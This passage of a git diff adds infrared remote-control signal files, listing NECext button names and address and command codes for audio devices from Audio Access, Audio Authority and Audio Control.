+# +name: AUX +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 85 00 00 00 +# +name: SOURCE_5 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 86 00 00 00 +# +name: SOURCE_5A +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 86 00 00 00 +# +name: VID +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 86 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 86 00 00 00 +# +name: SOURCE_7 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 88 00 00 00 +# +name: F2 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 88 00 00 00 +# +name: SOURCE_8 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 8C 00 00 00 +# +name: F3 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 8C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 8D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 8E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 8F 00 00 00 +# +name: F4 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 90 00 00 00 +# +name: T/V +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 94 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 94 00 00 00 +# +name: CHANNEL_DN +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 95 00 00 00 +# +name: CH_DOWN +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 95 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 96 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 96 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 97 00 00 00 +# +name: RR +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9E 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A0 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A1 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A2 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A3 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A4 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A5 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A6 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A7 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A8 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: A9 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 85 53 00 00 +command: AA 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 85 53 00 00 +command: AB 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 85 53 00 00 +command: AC 00 00 00 +# +name: GRP +type: parsed +protocol: NECext +address: 85 53 00 00 +command: AD 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 85 53 00 00 +command: AE 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 85 53 00 00 +command: AF 00 00 00 +# +name: TRACK_< +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B0 00 00 00 +# +name: TRACK> +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B1 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B2 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B3 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B4 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B5 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B6 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B7 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B8 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 85 53 00 00 +command: B9 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 85 53 00 00 +command: BA 00 00 00 +# +name: SEL +type: parsed +protocol: NECext +address: 85 53 00 00 +command: BB 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 85 53 00 00 +command: BC 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 85 53 00 00 +command: BD 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 85 53 00 00 +command: BE 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 85 53 00 00 +command: BF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir new file mode 100644 index 000000000..abf385025 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/133,83.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 80 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 81 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 82 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 83 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 85 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 86 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 8D 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 8E 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 8F 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 94 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 95 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 96 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 97 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9C 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9D 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9E 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 85 53 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir new file mode 100644 index 000000000..45c6c8c9e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Access/Zone Controller/4,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir new file mode 100644 index 000000000..c0cd0886b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Authority/HDMI Switcher/134,107.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir new file mode 100644 index 000000000..6af5b1d3f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,218.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: PLAYSTATION +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 15 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 16 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 50 00 00 00 +# +name: L3 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 51 00 00 00 +# +name: R3 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 52 00 00 00 +# +name: START +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 53 00 00 00 +# +name: L2 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 58 00 00 00 +# +name: R2 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 59 00 00 00 +# +name: L1 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5A 00 00 00 +# +name: R1 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5B 00 00 00 +# +name: TRIANGLE +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5C 00 00 00 +# +name: CIRCLE +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5D 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5E 00 00 00 +# +name: SQUARE +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 5F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 6B 00 00 00 +# +name: MACRO_1 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 6C 00 00 00 +# +name: MACRO_2 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 6D 00 00 00 +# +name: MACRO_3 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 6E 00 00 00 +# +name: MACRO_4 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 6F 00 00 00 +# +name: MACRO_5 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 70 00 00 00 +# +name: MACRO_6 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 71 00 00 00 +# +name: MACRO_7 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 72 00 00 00 +# +name: MACRO_8 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 73 00 00 00 +# +name: MACRO_9 +type: parsed +protocol: NECext +address: 1A DA 00 00 +command: 74 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir new file mode 100644 index 000000000..910682100 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Authority/IR to Bluetooth/26,73.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0F 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 1F 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 28 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2A 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2C 00 00 00 +# +name: CHAPTER_PREVIOUS +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 30 00 00 00 +# +name: CHAPTER_NEXT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 31 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 32 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 33 00 00 00 +# +name: FAST_FORWARD +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 39 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 54 00 00 00 +# +name: SLOW_BACK +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 60 00 00 00 +# +name: SLOW_PLAY +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 61 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 63 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 64 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 65 00 00 00 +# +name: DIRECTION_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: DIRECTION_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: DIRECTION_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: DIRECTION_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir new file mode 100644 index 000000000..e7a70794b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Authority/Switcher/64,159.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 05 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 06 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 07 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 08 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 09 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 0A 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 0B 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 0C 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 10 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 11 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 13 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 14 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 16 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 17 00 00 00 +# +name: ALL +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 18 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 1A 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 1B 00 00 00 +# +name: SOURCE +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 1E 00 00 00 +# +name: UNIT +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 1F 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 41 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 42 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 4A 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: 40 9F 00 00 +command: 4B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..14dad1df1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/16,-1.ir @@ -0,0 +1,470 @@ +Filetype: IR signals file +Version: 1 +# +name: SELECT_SAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: SELECT_PHONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: SELECT_AV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: SELECT_TUNER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: SELECT_DVD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: SELECT_TAPE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: SELECT_VCR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: SELECT_CD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: SELECT_AUX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: SELECT_MULTI-CHANNEL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: DIRECT_ONOFF_TGL +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: SELECT_NET +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0B 00 00 00 +# +name: STAND_BY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: TREBLE_CON._MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0E 00 00 00 +# +name: VIDEO_OUT_SD_PROGR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0F 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: CYCLE_ASPECT_RATIO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: FOLLOW_ZONE_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: VIDEO_OUT_720P +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 17 00 00 00 +# +name: VIDEO_OUT_1080I +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1A 00 00 00 +# +name: VIDEO_OUT_1080P +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1B 00 00 00 +# +name: ROOM_EQ_ON/OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 1E 00 00 00 +# +name: CYCLE_DECODE_MODE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: SELECT_DVR +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 22 00 00 00 +# +name: SPEAKER_TRIM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 25 00 00 00 +# +name: BASS_CON._MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 27 00 00 00 +# +name: FAVORITE_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 29 00 00 00 +# +name: FAVORITE_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2A 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2B 00 00 00 +# +name: BASS_INCREMENT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2C 00 00 00 +# +name: BASS_DECREMENT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2D 00 00 00 +# +name: TREBLE_INCREMENT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2E 00 00 00 +# +name: CYCLE_OUTPUT_RES +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 2F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 30 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 31 00 00 00 +# +name: LIPSYNC_CONT_MEN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: SUB_CONTROL_MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 +# +name: TRACK_FORWARD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: TRACK_BACKWARD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: DISPLAY_BRIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3B 00 00 00 +# +name: FRAME_RATE_50HZ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 40 00 00 00 +# +name: FRAME_RATE_60HZ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 41 00 00 00 +# +name: DOLBY_VOL._ON-OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: USB_PLAY/PAUSE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 46 00 00 00 +# +name: DISCRETE_DIR_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4E 00 00 00 +# +name: DISCRETE_DIR_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 4F 00 00 00 +# +name: NAVIGATE_RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: NAVIGATE_LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: NAVIGATE_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: NAVIGATE_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 57 00 00 00 +# +name: ZONE_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 5F 00 00 00 +# +name: TREBLE_DECREMENT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 62 00 00 00 +# +name: LIPSYNC_+_BY_1MS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 64 00 00 00 +# +name: LIPSYNC_-_BY_1MS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 65 00 00 00 +# +name: DOLBY_PL_II/IIX_GAM +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 66 00 00 00 +# +name: DOLBY_PL_II/IIX_MOV +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 67 00 00 00 +# +name: DOLBY_PL_II/IIX_MUS +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 68 00 00 00 +# +name: MULTI-CHANNEL_AUDIO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6A 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6B 00 00 00 +# +name: PLII_MUSIC_CENTER_+1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6D 00 00 00 +# +name: DOLBY_PRO_LOGIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6E 00 00 00 +# +name: DTS_NEO:6_CINEMA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 6F 00 00 00 +# +name: DTS_NEO:6_MUSIC +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 70 00 00 00 +# +name: PLII_MUSIC_CENTER_-1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 71 00 00 00 +# +name: PLII_MUSIC_DIM_+1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 72 00 00 00 +# +name: PLII_MUSIC_DIM_-1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 73 00 00 00 +# +name: PLII_PANORAMA_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 74 00 00 00 +# +name: PLII_PANORAMA_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 75 00 00 00 +# +name: DOLBY_EX +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 76 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 78 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7B 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7C 00 00 00 +# +name: VIDEO_OUT_SD_INTERLA +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir new file mode 100644 index 000000000..a76282a38 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/17,-1.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: NUMBER_0 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 00 00 00 00 +# +name: NUMBER_1 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 01 00 00 00 +# +name: NUMBER_2 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 02 00 00 00 +# +name: NUMBER_3 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 03 00 00 00 +# +name: NUMBER_4 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 04 00 00 00 +# +name: NUMBER_5 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 05 00 00 00 +# +name: NUMBER_6 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 06 00 00 00 +# +name: NUMBER_7 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 07 00 00 00 +# +name: NUMBER_8 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 08 00 00 00 +# +name: NUMBER_9 +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 09 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 25 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 26 00 00 00 +# +name: DELETE_PRESET +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 29 00 00 00 +# +name: PRESET_DOWN_(TUNER) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 55 00 00 00 +# +name: PRESET_UP_(TUNE) +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir new file mode 100644 index 000000000..cabfb2a37 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Audio Control/Pre-Amplifier/23,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: ZONE_2_VOL._UP +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 01 00 00 00 +# +name: ZONE_2_VOL._DOWN +type: parsed +protocol: NECext +address: 17 00 00 